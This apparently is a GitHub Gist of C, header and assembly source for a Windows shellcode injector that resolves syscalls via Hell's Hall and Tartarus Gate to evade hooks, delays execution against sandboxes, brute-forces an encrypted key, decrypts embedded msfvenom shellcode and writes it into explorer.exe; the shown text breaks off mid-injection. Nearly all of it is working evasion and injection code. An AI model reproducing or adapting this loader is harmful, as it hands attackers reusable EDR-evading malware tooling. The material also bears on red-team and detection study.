Last active
July 15, 2024 20:15
-
-
Save wizardy0ga/eaeb4647874a7a5186232ef7d3d98acb to your computer and use it in GitHub Desktop.
Classic remote process injection using syscalls via hells hall & tartarus gate. Encrypted shellcode is decrypted by encrypted self-bruteforcing encryption key & injected into explorer using the classic remote process injection method.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "hellshall.h" | |
VOID Xor(PBYTE pData, SIZE_T SizeOfData, PBYTE pKey, SIZE_T SizeOfKey) { | |
for (int i = 0, j = 0; i < SizeOfData; i++, j++) { | |
if (j >= SizeOfKey) { | |
j = 0; | |
} | |
pData[i] = pData[i] ^ pKey[j]; | |
} | |
} | |
PBYTE DecryptKey(PBYTE EncryptedKey, SIZE_T KeySize) { | |
BYTE KeyByte = 0; | |
PBYTE OriginalKey = malloc(KeySize); | |
if (!OriginalKey) { return NULL; } | |
while (TRUE) { if (((EncryptedKey[0] ^ KeyByte) - 0) == 0x16) { break; } else { KeyByte++; } } | |
for (int i = 0; i < KeySize; i++) { | |
OriginalKey[i] = (BYTE)((EncryptedKey[i] ^ KeyByte) - i); | |
} | |
return OriginalKey; | |
} | |
HANDLE GetExplorerHandle(PSYSCALLS pSyscalls, QWORD* pOutPid) { | |
OBJECT_ATTRIBUTES OA = { 0 }; | |
CLIENT_ID ID = { 0 }; | |
SIZE_T BytesWritten = 0, | |
BufferSize = 0, | |
ArraySize = 0; | |
PVOID pBuffer = NULL; | |
PSYSTEM_PROCESS_INFORMATION Process = NULL; | |
HANDLE hProcess = NULL; | |
NTSTATUS Status = 0; | |
/* Get the buffer size for array to hold process structures */ | |
prepare_syscall(pSyscalls->NtQuerySystemInformation); | |
Status = RunSyscall(SystemProcessInformation, NULL, 0, &BufferSize); | |
if (Status != STATUS_INFO_LENGTH_MISMATCH) { | |
error("NtQuerySystemInformation returned unexpected code: 0x%0.8X", Status); return NULL; | |
} | |
/* Allocate memory for the structure */ | |
prepare_syscall(pSyscalls->NtAllocateVirtualMemory); | |
Status = RunSyscall((HANDLE)-1, &pBuffer, 0, (PSIZE_T)&BufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (Status != 0x0) { | |
error("Failed to allocate buffer for array of SYSTEM_PROCESS_INFORMATION structures. Error: 0x%0.8X", Status); return NULL; | |
} | |
print("Allocated %lld bytes for array of SYSTEM_PROCESS_INFORMATION structures", BufferSize); | |
/* Write structures to array */ | |
prepare_syscall(pSyscalls->NtQuerySystemInformation); | |
Status = RunSyscall(SystemProcessInformation, pBuffer, BufferSize, &ArraySize); | |
if (Status != 0x0) { | |
error("NtQuerySystemInformation failed with error: 0x%0.8X", Status); return NULL; | |
} | |
print("Wrote %lld process structures to array (%lld bytes)", (ArraySize / sizeof(SYSTEM_PROCESS_INFORMATION)), ArraySize); | |
/* Iterate over structures */ | |
Process = pBuffer; | |
while (Process->NextEntryOffset != 0) { | |
if (Process->ImageName.Buffer != NULL) { | |
/* Get a handle to explorer */ | |
if (CRC32((char*)(Process->ImageName.Buffer)) == EXPLORER_Hash) { | |
ID.UniqueProcess = Process->UniqueProcessId; | |
prepare_syscall(pSyscalls->NtOpenProcess); | |
Status = RunSyscall(&hProcess, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &OA, &ID); | |
if (Status != 0x0) { | |
error("Failed to get handle to explorer.exe. Error: 0x%0.8X", Status); return NULL; | |
} | |
*pOutPid = (QWORD)(Process->UniqueProcessId); | |
break; | |
} | |
} | |
Process = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)Process + Process->NextEntryOffset); | |
} | |
/* Release buffer */ | |
if (pBuffer) { | |
prepare_syscall(pSyscalls->NtFreeVirtualMemory); | |
Status = RunSyscall((HANDLE)-1, &pBuffer, &BufferSize, MEM_RELEASE); | |
if (Status != 0x0) { | |
error("NtFreeVirtualMemory failed with error 0x%0.8X", Status); return NULL; | |
} | |
} | |
return hProcess; | |
} | |
unsigned int CRC32(char* string) { | |
int i, | |
crc; | |
unsigned int byte, c; | |
const unsigned int g0 = SEED, | |
g1 = g0 >> 1, | |
g2 = g0 >> 2, | |
g3 = g0 >> 3, | |
g4 = g0 >> 4, | |
g5 = g0 >> 5, | |
g6 = (g0 >> 6) ^ g0, | |
g7 = ((g0 >> 6) ^ g0) >> 1; | |
i = 0; | |
crc = 0xFFFFFFFF; | |
while ((byte = string[i]) != 0) { | |
crc = crc ^ byte; | |
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^ | |
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^ | |
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^ | |
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0); | |
crc = ((unsigned)crc >> 8) ^ c; | |
i = i + 1; | |
} | |
return ~crc; | |
} | |
BOOL InitConfiguration(PNTDLL_CONFIG pConfig) { | |
PLDR_DATA_TABLE_ENTRY pEntry = NULL; | |
PIMAGE_DOS_HEADER pDos = NULL; | |
PIMAGE_NT_HEADERS pNt = NULL; | |
PIMAGE_EXPORT_DIRECTORY pExports = NULL; | |
CHAR ModNameLower[MAX_PATH] = { 0 }; | |
ULONG_PTR ModuleBase = 0; | |
int string_size = 0, | |
offset = 0; | |
CHAR c = 0; | |
PPEB pPeb = (PPEB)__readgsqword(0x60); | |
/* Get the base address of ntdll */ | |
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) { | |
if (pEntry->BaseDllName.Buffer) { | |
string_size = lstrlenW(pEntry->BaseDllName.Buffer); | |
if (string_size <= MAX_PATH) { | |
for (c = 0; c < string_size; c++) { ModNameLower[c] = tolower((CHAR)(pEntry->BaseDllName.Buffer[c])); } | |
ModNameLower[c++] = '\0'; | |
if (CRC32(ModNameLower) == 0xFFFFC51B) { | |
dbg_print("Found %S at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase); | |
ModuleBase = (ULONG_PTR)pEntry->DllBase; | |
break; | |
} | |
} | |
} | |
} | |
if (!ModuleBase) { dbg_print("Could not locate ntdll in peb."); return FALSE; } | |
/* Get the export directory */ | |
pDos = (PIMAGE_DOS_HEADER)ModuleBase; | |
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) { dbg_print("dos header signature mismatch"); return FALSE; } | |
pNt = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + pDos->e_lfanew); | |
if (pNt->Signature != IMAGE_NT_SIGNATURE) { dbg_print("nt header signature mismatch"); return FALSE; } | |
pExports = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); | |
if (!pExports) { dbg_print("Could not locate export directory"); return FALSE; } | |
/* Add Function names, ordinals & addresses to config structure */ | |
pConfig->BaseOfModule = ModuleBase; | |
pConfig->NumberOfNames = pExports->NumberOfNames; | |
pConfig->Names = (PDWORD)(ModuleBase + pExports->AddressOfNames); | |
pConfig->Addresses = (PDWORD)(ModuleBase + pExports->AddressOfFunctions); | |
pConfig->Ordinals = (PWORD)(ModuleBase + pExports->AddressOfNameOrdinals); | |
if (!pConfig->Addresses || | |
!pConfig->BaseOfModule || | |
!pConfig->Names || | |
!pConfig->Ordinals || | |
!pConfig->NumberOfNames) { | |
dbg_print("One or more config structure members is null."); return FALSE; | |
} | |
dbg_print("Successfully initialized ntdll config structure"); | |
return TRUE; | |
} | |
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig) { | |
PCHAR Name = 0; | |
PVOID Address = NULL, | |
SyscallOpCodeAddr = NULL; | |
WORD CurrentIndex = 0; | |
BYTE OpCode = 0, | |
High = 0, | |
Low = 0; | |
/* Init the config if it's null */ | |
if (!pConfig) { | |
if (!InitConfiguration(pConfig)) { | |
return FALSE; | |
} | |
} | |
/* Add hash to syscall structure */ | |
if (Hash) { | |
pSyscall->Hash = Hash; | |
} | |
else { | |
return FALSE; | |
} | |
/* Search for the hash in the dll export functions */ | |
for (size_t i = 0; i < pConfig->NumberOfNames; i++) { | |
Name = (PCHAR)(pConfig->BaseOfModule + pConfig->Names[i]); | |
Address = (PVOID)(pConfig->BaseOfModule + pConfig->Addresses[pConfig->Ordinals[i]]); | |
if (CRC32(Name) == Hash) { | |
dbg_print("Found %s at 0x%p with hash 0x%0.8X", Name, Address, Hash); | |
pSyscall->Address = Address; | |
/* Check if opcodes are loading ssn into eax.Store ssn in syscall structure. */ | |
if (*((PBYTE)Address) == 0x4C && | |
*((PBYTE)Address + 1) == 0x8B && | |
*((PBYTE)Address + 2) == 0xD1 && | |
*((PBYTE)Address + 3) == 0xB8 && | |
*((PBYTE)Address + 6) == 0x00 && | |
*((PBYTE)Address + 7) == 0x00) { | |
dbg_print("Syscall is not hooked."); | |
High = *((PBYTE)Address + 5); | |
Low = *((PBYTE)Address + 4); | |
pSyscall->SSN = (High << 8) | Low; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
/* If syscall is hooked, begin searching upper & lower syscalls */ | |
if (*((PBYTE)Address) == 0xE9) { | |
dbg_print("Syscall is hooked, scenario 1."); | |
for (WORD idx = 1; idx <= 255; idx++) { | |
/* Search down in syscalls */ | |
if (*((PBYTE)Address + idx * 32) == 0x4C && | |
search_down(Address, 1, idx) == 0x8B && | |
search_down(Address, 2, idx) == 0xD1 && | |
search_down(Address, 3, idx) == 0xB8 && | |
search_down(Address, 6, idx) == 0x00 && | |
search_down(Address, 7, idx) == 0x00 | |
) { | |
High = search_down(Address, 5, idx); | |
Low = search_down(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low - idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
/* search up in syscalls */ | |
if (*((PBYTE)Address + idx * -32) == 0x4C && | |
search_up(Address, 1, idx) == 0x8B && | |
search_up(Address, 2, idx) == 0xD1 && | |
search_up(Address, 3, idx) == 0xB8 && | |
search_up(Address, 6, idx) == 0x00 && | |
search_up(Address, 7, idx) == 0x00 | |
) { | |
High = search_up(Address, 5, idx); | |
Low = search_up(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low + idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
} | |
} | |
/* Second scenario for syscall being hooked */ | |
if (*((PBYTE)Address + 3) == 0xE9) { | |
dbg_print("Syscall is hooked, scenario 2."); | |
for (WORD idx = 1; idx <= 255; idx++) { | |
/* Search down in syscalls */ | |
if (*((PBYTE)Address + idx * 32) == 0x4C && | |
search_down(Address, 1, idx) == 0x8B && | |
search_down(Address, 2, idx) == 0xD1 && | |
search_down(Address, 3, idx) == 0xB8 && | |
search_down(Address, 6, idx) == 0x00 && | |
search_down(Address, 7, idx) == 0x00 | |
) { | |
High = search_down(Address, 5, idx); | |
Low = search_down(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low - idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
/* search up in syscalls */ | |
if (*((PBYTE)Address + idx * -32) == 0x4C && | |
search_up(Address, 1, idx) == 0x8B && | |
search_up(Address, 2, idx) == 0xD1 && | |
search_up(Address, 3, idx) == 0xB8 && | |
search_up(Address, 6, idx) == 0x00 && | |
search_up(Address, 7, idx) == 0x00 | |
) { | |
High = search_up(Address, 5, idx); | |
Low = search_up(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low + idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
} | |
} | |
break; | |
} | |
} | |
if (!pSyscall->Address) { | |
dbg_print("Failed to locate function address."); return FALSE; | |
} | |
/* Jump ahead of function address by offset of 200 - 300 bytes */ | |
srand((unsigned int)time(NULL)); | |
SyscallOpCodeAddr = (PBYTE)pSyscall->Address + (rand() % (300 - 200 + 1 + 200)); | |
/* Locate the address of another syscall opcode to spoof the function that's executed */ | |
for (DWORD Index = 0; Index <= 0xFF; Index++) { | |
if (*((PBYTE)SyscallOpCodeAddr + Index) == 0x0F && *((PBYTE)SyscallOpCodeAddr + Index + 1) == 0x05) { | |
pSyscall->SyscallOpCodeAddress = ((PBYTE)SyscallOpCodeAddr + Index); | |
dbg_print("Located syscall instruction in ntdll .text at 0x%p", pSyscall->SyscallOpCodeAddress); | |
break; | |
} | |
} | |
/* Make sure all components exist */ | |
if (!pSyscall->SSN || !pSyscall->Address || !pSyscall->Hash || !pSyscall->SyscallOpCodeAddress) { | |
return FALSE; | |
} | |
return TRUE; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#pragma once | |
#include <windows.h> | |
#include <stdio.h> | |
#include <time.h> | |
/* debug printing */ | |
//#define DEBUG | |
#ifdef DEBUG | |
#define dbg_print(msg, ...) printf("[DEBUG] " msg "\n", ##__VA_ARGS__) | |
#else | |
#define dbg_print(msg, ...) do {} while (0) | |
#endif | |
/* Stdout */ | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__) | |
#define error(msg, ...) printf("[ERROR] " msg "\n", ##__VA_ARGS__) | |
/* Syscalls */ | |
#define prepare_syscall(syscall) PrepSyscall((DWORD)syscall.SSN, (PVOID)syscall.SyscallOpCodeAddress) | |
#define calc_offset(byte, offset) *((PBYTE)byte + offset) | |
#define search_down(byte, index, offset) *((PBYTE)byte + index + offset * 32) | |
#define search_up(byte, index, offset) *((PBYTE)byte + index + offset * -32) | |
#define get_ssn(hash, psyscall, pconfig) \ | |
if (!GetSyscall(hash, psyscall, pconfig)) { \ | |
dbg_print("Could not locate syscall."); return FALSE; \ | |
} \ | |
/* Function hashes */ | |
#define SEED 8721 | |
#define NtAllocateVirtualMemory_Hash 0xFFFFD7EC | |
#define NtProtectVirtualMemory_Hash 0xFFFFD05C | |
#define NtClose_Hash 0xFFFFDEB8 | |
#define NtCreateThreadEx_Hash 0xFFFFD084 | |
#define NtWaitForSingleObject_Hash 0xFFFFDF8A | |
#define NtWriteVirtualMemory_Hash 0xFFFFCB07 | |
#define NtQuerySystemInformation_Hash 0xFFFFDAA1 | |
#define NtOpenProcess_Hash 0xFFFFC9D0 | |
#define NtFreeVirtualMemory_Hash 0xFFFFC97C | |
#define NtDelayExecution_Hash 0xFFFFC63A | |
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 | |
#define EXPLORER_Hash 0xFF0006EB | |
#define SystemProcessInformation 5 | |
typedef unsigned long long QWORD; | |
/* Structs */ | |
typedef struct _PEB_LDR_DATA | |
{ | |
ULONG Length; | |
BOOLEAN Initialized; | |
HANDLE SsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; | |
} UNICODE_STRING, * PUNICODE_STRING; | |
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( | |
_In_ PVOID DllHandle, | |
_In_ ULONG Reason, | |
_In_opt_ PVOID Context | |
); | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
PVOID DllBase; | |
PLDR_INIT_ROUTINE EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
typedef struct _PEB | |
{ | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
typedef struct _OBJECT_ATTRIBUTES { | |
ULONG Length; | |
HANDLE RootDirectory; | |
PUNICODE_STRING ObjectName; | |
ULONG Attributes; | |
PVOID SecurityDescriptor; | |
PVOID SecurityQualityOfService; | |
} OBJECT_ATTRIBUTES; | |
typedef struct _CLIENT_ID | |
{ | |
HANDLE UniqueProcess; | |
HANDLE UniqueThread; | |
} CLIENT_ID, * PCLIENT_ID; | |
typedef struct _NTDLL_CONFIG { | |
PDWORD Addresses; | |
PDWORD Names; | |
PWORD Ordinals; | |
DWORD NumberOfNames; | |
ULONG_PTR BaseOfModule; | |
} NTDLL_CONFIG, * PNTDLL_CONFIG; | |
typedef struct _NT_SYSCALL { | |
DWORD SSN; | |
DWORD Hash; | |
PVOID Address; | |
PVOID SyscallOpCodeAddress; | |
} NT_SYSCALL, * PNT_SYSCALL; | |
typedef struct _SYSCALLS { | |
NT_SYSCALL NtAllocateVirtualMemory; | |
NT_SYSCALL NtDelayExecution; | |
NT_SYSCALL NtClose; | |
NT_SYSCALL NtCreateThreadEx; | |
NT_SYSCALL NtWriteVirtualMemory; | |
NT_SYSCALL NtWaitForSingleObject; | |
NT_SYSCALL NtQuerySystemInformation; | |
NT_SYSCALL NtOpenProcess; | |
NT_SYSCALL NtFreeVirtualMemory; | |
NT_SYSCALL NtProtectVirtualMemory; | |
} SYSCALLS, * PSYSCALLS; | |
typedef struct _SYSTEM_PROCESS_INFORMATION | |
{ | |
ULONG NextEntryOffset; | |
ULONG NumberOfThreads; | |
LARGE_INTEGER WorkingSetPrivateSize; | |
ULONG HardFaultCount; | |
ULONG NumberOfThreadsHighWatermark; | |
ULONGLONG CycleTime; | |
LARGE_INTEGER CreateTime; | |
LARGE_INTEGER UserTime; | |
LARGE_INTEGER KernelTime; | |
UNICODE_STRING ImageName; | |
LONG BasePriority; | |
HANDLE UniqueProcessId; | |
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; | |
/* Prototypes */ | |
unsigned int CRC32(char* string); | |
HANDLE GetExplorerHandle(PSYSCALLS pSyscall, QWORD* pOutPid); | |
BOOL InitConfiguration(PNTDLL_CONFIG pConfig); | |
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig); | |
PBYTE DecryptKey(PBYTE EncryptedKey, SIZE_T KeySize); | |
VOID Xor(PBYTE pData, SIZE_T SizeOfData, PBYTE pKey, SIZE_T SizeOfKey); | |
/* External functions */ | |
extern VOID PrepSyscall(DWORD SSN, PVOID SyscallOpCodeAddr); | |
extern RunSyscall(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.data | |
SSN DWORD 0h | |
SyscallOpCodeAddr QWORD 0h | |
.code | |
PrepSyscall PROC | |
xor eax, eax ; eax = 0 | |
mov SSN, eax ; SSN = 0 | |
mov SyscallOpCodeAddr, rax ; SyscallOpCodeAddr = 0 | |
mov eax, ecx ; eax = ssn | |
mov SSN, eax ; SSN = eax = ssn | |
mov r8, rdx ; r8 = Address of the syscall op code 0x0F05 | |
mov SyscallOpCodeAddr, r8 ; SyscallOpCodeAddr = Address of the syscall opcode 0x0F05 | |
ret | |
PrepSyscall ENDP | |
RunSyscall PROC | |
xor r10, r10 ; r10 = 0 | |
mov rax, rcx ; rax = rcx | |
mov r10, rax ; r10 = rax = rcx | |
mov eax, SSN ; eax = SSN | |
jmp Run ; Execute the syscall | |
xor eax, eax ; Junk code | |
xor rcx, rcx ; Junk code | |
shl r10, 2 ; Junk code | |
Run: | |
jmp qword ptr [SyscallOpCodeAddr] ; Jump to the syscall instruction in ntdll. | |
xor r10, r10 ; r10 = 0 | |
mov SyscallOpCodeAddr, r10 ; SyscallOpCodeAddr = 0 | |
ret | |
RunSyscall ENDP | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
July 2024 | |
Arch: | |
x64 | |
Tested on: | |
Windows 10 19045.4529 | |
Compiler: | |
MSVC | |
Compile Instructions: | |
ML64 /c hellshall.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 | |
cl.exe hellshall.c main.c | |
link.exe /OUT:HellsHallProcessInjector.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib hellshall.x64.obj hellshall.obj main.obj | |
Mitre: | |
Execution: | |
T1106 - Native API | |
Defense Evasion: | |
T1027.009 - Obfuscated Files or Information: Embedded Payloads | |
T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File | |
T1027.007 - Obfuscated Files or Information: Dynamic API Resolution | |
T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion | |
Description: | |
Classic remote process injection using syscalls via hells hall & tartarus gate. Executes a calc.exe payload in the address space of explorer.exe. | |
Encryption key for shellcode is also encrypted & will bruteforce itself during run time prior to decrypting shellcode. | |
*/ | |
#include "hellshall.h" | |
/* Encrypted( msfvenom -p windows/x64/exec CMD=calc.exe exitfunc=thread )*/ | |
CHAR shellcode[276] = { | |
0xEA,0x37,0xD9,0x06,0x81,0xE8,0x54,0x48,0x3D,0xDC,0x36,0x25,0xC3,0xA6,0xE6,0x0A, | |
0x78,0x45,0x6B,0x35,0x30,0x31,0x3A,0x18,0x51,0x54,0xED,0xC3,0x7F,0xDE,0x62,0x2E, | |
0xAB,0xFF,0x9F,0xFF,0xB7,0x72,0x02,0xE8,0x32,0xFA,0x20,0x08,0xF3,0xF2,0x93,0x23, | |
0x0A,0x47,0xF3,0xC4,0x7A,0x61,0xA0,0xBC,0x74,0x7A,0x39,0x30,0xEC,0x51,0xB4,0xC8, | |
0xEF,0xD7,0x4D,0xC6,0x12,0x52,0x05,0x52,0x8A,0xB8,0xEC,0x7F,0x60,0x08,0x40,0x90, | |
0x54,0x84,0x3B,0x3C,0x9E,0x20,0x26,0x8F,0x9B,0xBF,0x35,0xB6,0x7E,0x0A,0xC0,0x94, | |
0xA0,0x42,0x99,0x47,0x0E,0x6A,0x40,0x09,0x7E,0xBF,0xAB,0x2D,0xE6,0x8E,0x5F,0xEB, | |
0x43,0xD8,0xD3,0x73,0x0E,0xD2,0xDE,0x72,0x3E,0x67,0x03,0xDE,0x05,0x57,0x36,0xE4, | |
0xE4,0x04,0x41,0xC4,0x9E,0xCD,0x1C,0xBC,0xC1,0x89,0xC9,0xFA,0x8D,0x1D,0xF7,0x6F, | |
0xF3,0x42,0x20,0x02,0x03,0x33,0x79,0x45,0x70,0xDD,0x5B,0x69,0x26,0x33,0x26,0x82, | |
0xD9,0xF5,0x94,0xA1,0x6D,0x2E,0xBC,0x2C,0x59,0x51,0xCE,0xA3,0x81,0x50,0x49,0x03, | |
0xBD,0x11,0xF2,0xEE,0x16,0x79,0xE1,0x05,0xF8,0x88,0x61,0x1D,0x92,0x21,0xF3,0x2A, | |
0x7E,0xF1,0xAC,0x9D,0x4E,0x41,0x00,0x3A,0x81,0x0A,0xC6,0xF2,0x23,0xFA,0xC2,0xD5, | |
0xD8,0xC9,0xF4,0xAD,0x4B,0x8A,0xDB,0x52,0xE6,0x92,0x30,0xA6,0x8E,0xD3,0x61,0x27, | |
0xBD,0xE7,0x56,0xF5,0x8F,0xDE,0x5D,0x23,0xBB,0x20,0xF3,0x7C,0x2A,0x4B,0x11,0xB9, | |
0xC1,0x24,0x8D,0x91,0x40,0x14,0xE8,0xC4,0x76,0xFB,0x76,0xBA,0x2E,0xD4,0x4A,0x70, | |
0x05,0x0D,0x35,0x88,0x71,0x59,0xD5,0xC1,0xE7,0x23,0xA2,0x17,0xE3,0x9A,0xD7,0x75, | |
0x4B,0x75,0x3F,0xE7 | |
}; | |
int main() { | |
/* Encrypted decryption key for shellcode */ | |
CHAR Key[256] = { | |
0xA9,0x3F,0xE3,0x5A,0xCA,0xBA,0x25,0xF0,0xFA,0x5A,0x3E,0xC0,0x31,0xBC,0x7D,0xD5, | |
0x81,0xA1,0xD3,0x45,0xD6,0x31,0x78,0xDE,0xF6,0x8A,0x3F,0x13,0x3C,0x0C,0xB8,0x24, | |
0x14,0x67,0x89,0x0F,0xB4,0xE0,0x8C,0x39,0x1F,0x66,0x28,0xDB,0xD9,0x58,0x6F,0xAD, | |
0x69,0x13,0x7B,0x54,0x13,0x3D,0x09,0x8B,0x52,0x53,0xD1,0x13,0x96,0x72,0x2B,0xDB, | |
0x42,0x68,0xE1,0x6E,0x62,0xFA,0xD4,0x9F,0xAF,0x72,0x51,0x76,0x43,0x6F,0xB1,0xD8, | |
0x1B,0x6A,0x32,0x78,0xD0,0x8A,0x17,0x80,0x94,0xA8,0x80,0xFE,0xEE,0x20,0x89,0x90, | |
0x34,0xDC,0xA4,0xCE,0xCC,0xA0,0xB6,0x79,0x21,0x16,0x73,0x68,0x66,0x98,0xFA,0xAD, | |
0x0D,0xC0,0xAF,0x0A,0x84,0xB0,0xDA,0x96,0xB5,0x20,0x83,0x2D,0x3B,0x2C,0x0A,0x1B, | |
0xE3,0xDA,0x09,0x07,0xE9,0xEC,0x69,0xA0,0xEE,0xEA,0xC5,0x09,0x3B,0xED,0x82,0x05, | |
0xB7,0x2C,0x29,0x61,0x29,0xC7,0x0A,0x24,0x2C,0xD5,0x12,0x77,0xF6,0xAF,0x67,0xD5, | |
0xC7,0x79,0xC8,0x72,0xB2,0xF4,0x25,0x6B,0x8E,0x06,0xFF,0x32,0x3A,0x04,0x01,0xB7, | |
0x13,0x45,0xDA,0xD5,0xB4,0x67,0xE0,0x82,0x73,0xDE,0x65,0xB5,0x96,0xC1,0xD6,0x95, | |
0x58,0xD3,0x19,0x66,0x9F,0xD2,0xA2,0x33,0xF9,0x01,0xDA,0x3A,0xDA,0x77,0x2F,0x1B, | |
0x17,0x25,0x79,0x3F,0xA0,0x28,0x93,0x09,0x00,0xD3,0xB5,0x3E,0x14,0xF9,0x91,0x34, | |
0x0D,0xFE,0x34,0xBC,0xA7,0x9C,0x99,0x4F,0x26,0xF5,0x8C,0x7A,0x14,0x5C,0xC5,0x8A, | |
0xBB,0xE2,0xBF,0xF7,0xE3,0xA2,0x5B,0x10,0xCB,0xCB,0x38,0xEA,0xE8,0x71,0x50,0x89 | |
}; | |
PBYTE pKey = NULL; | |
NTSTATUS Status = 0; | |
HANDLE hThread = NULL, | |
hExplorer = NULL; | |
QWORD ExplorerPid = 0; | |
DWORD OldProtection = 0; | |
SIZE_T BytesWritten = 0, | |
ShellcodeSize = sizeof(shellcode); | |
PVOID pShellcode = NULL; | |
NTDLL_CONFIG NtConfig = { 0 }; | |
SYSCALLS Syscalls = { 0 }; | |
LARGE_INTEGER DelayInterval = { | |
.QuadPart = -600000000 | |
}; | |
printf("[+] Press enter to begin\n"); getchar(); | |
/* Get NTDLL base address & functions */ | |
if (!InitConfiguration(&NtConfig)) { | |
return -1; | |
} | |
/* Delay execution for 60 seconds */ | |
get_ssn(NtDelayExecution_Hash, &Syscalls.NtDelayExecution, &NtConfig); | |
prepare_syscall(Syscalls.NtDelayExecution); | |
dbg_print("delaying execution for 60 seconds."); | |
Status = RunSyscall(FALSE, &DelayInterval); | |
if (Status != 0x0 && Status != STATUS_TIMEOUT) { | |
error("Failed to delay execution!"); | |
} | |
/* Populate syscall structures with SSN for syscall */ | |
get_ssn(NtQuerySystemInformation_Hash, &Syscalls.NtQuerySystemInformation, &NtConfig); | |
get_ssn(NtClose_Hash, &Syscalls.NtClose, &NtConfig); | |
get_ssn(NtCreateThreadEx_Hash, &Syscalls.NtCreateThreadEx, &NtConfig); | |
get_ssn(NtWaitForSingleObject_Hash, &Syscalls.NtWaitForSingleObject, &NtConfig); | |
get_ssn(NtWriteVirtualMemory_Hash, &Syscalls.NtWriteVirtualMemory, &NtConfig); | |
get_ssn(NtAllocateVirtualMemory_Hash, &Syscalls.NtAllocateVirtualMemory, &NtConfig); | |
get_ssn(NtOpenProcess_Hash, &Syscalls.NtOpenProcess, &NtConfig); | |
get_ssn(NtFreeVirtualMemory_Hash, &Syscalls.NtFreeVirtualMemory, &NtConfig); | |
get_ssn(NtProtectVirtualMemory_Hash, &Syscalls.NtProtectVirtualMemory, &NtConfig); | |
/* Get a handle to explorer.exe */ | |
hExplorer = GetExplorerHandle(&Syscalls, &ExplorerPid); | |
if (!hExplorer) { | |
error("Could not get a handle to explorer.exe"); return -1; | |
} | |
print("Got a handle to explorer. PID: %llu", ExplorerPid); | |
/* Allocate buffer for shellcode */ | |
prepare_syscall(Syscalls.NtAllocateVirtualMemory); | |
Status = RunSyscall(hExplorer, &pShellcode, 0, &ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (Status != 0x0 || pShellcode == NULL) { | |
error("Failed to allocate memory for shellcode. Error: 0x%0.8X", Status); return -1; | |
} | |
print("Allocated %lld byte buffer at 0x%p", ShellcodeSize, pShellcode); | |
/* Bruteforce encryption key & decrypt shellcode */ | |
pKey = DecryptKey(Key, sizeof(Key)); | |
Xor(shellcode, sizeof(shellcode), pKey, sizeof(Key)); | |
/* Copy shellcode into buffer */ | |
prepare_syscall(Syscalls.NtWriteVirtualMemory); | |
Status = RunSyscall(hExplorer, pShellcode, shellcode, ShellcodeSize, &BytesWritten); | |
if (Status != 0x0 || ShellcodeSize != BytesWritten) { | |
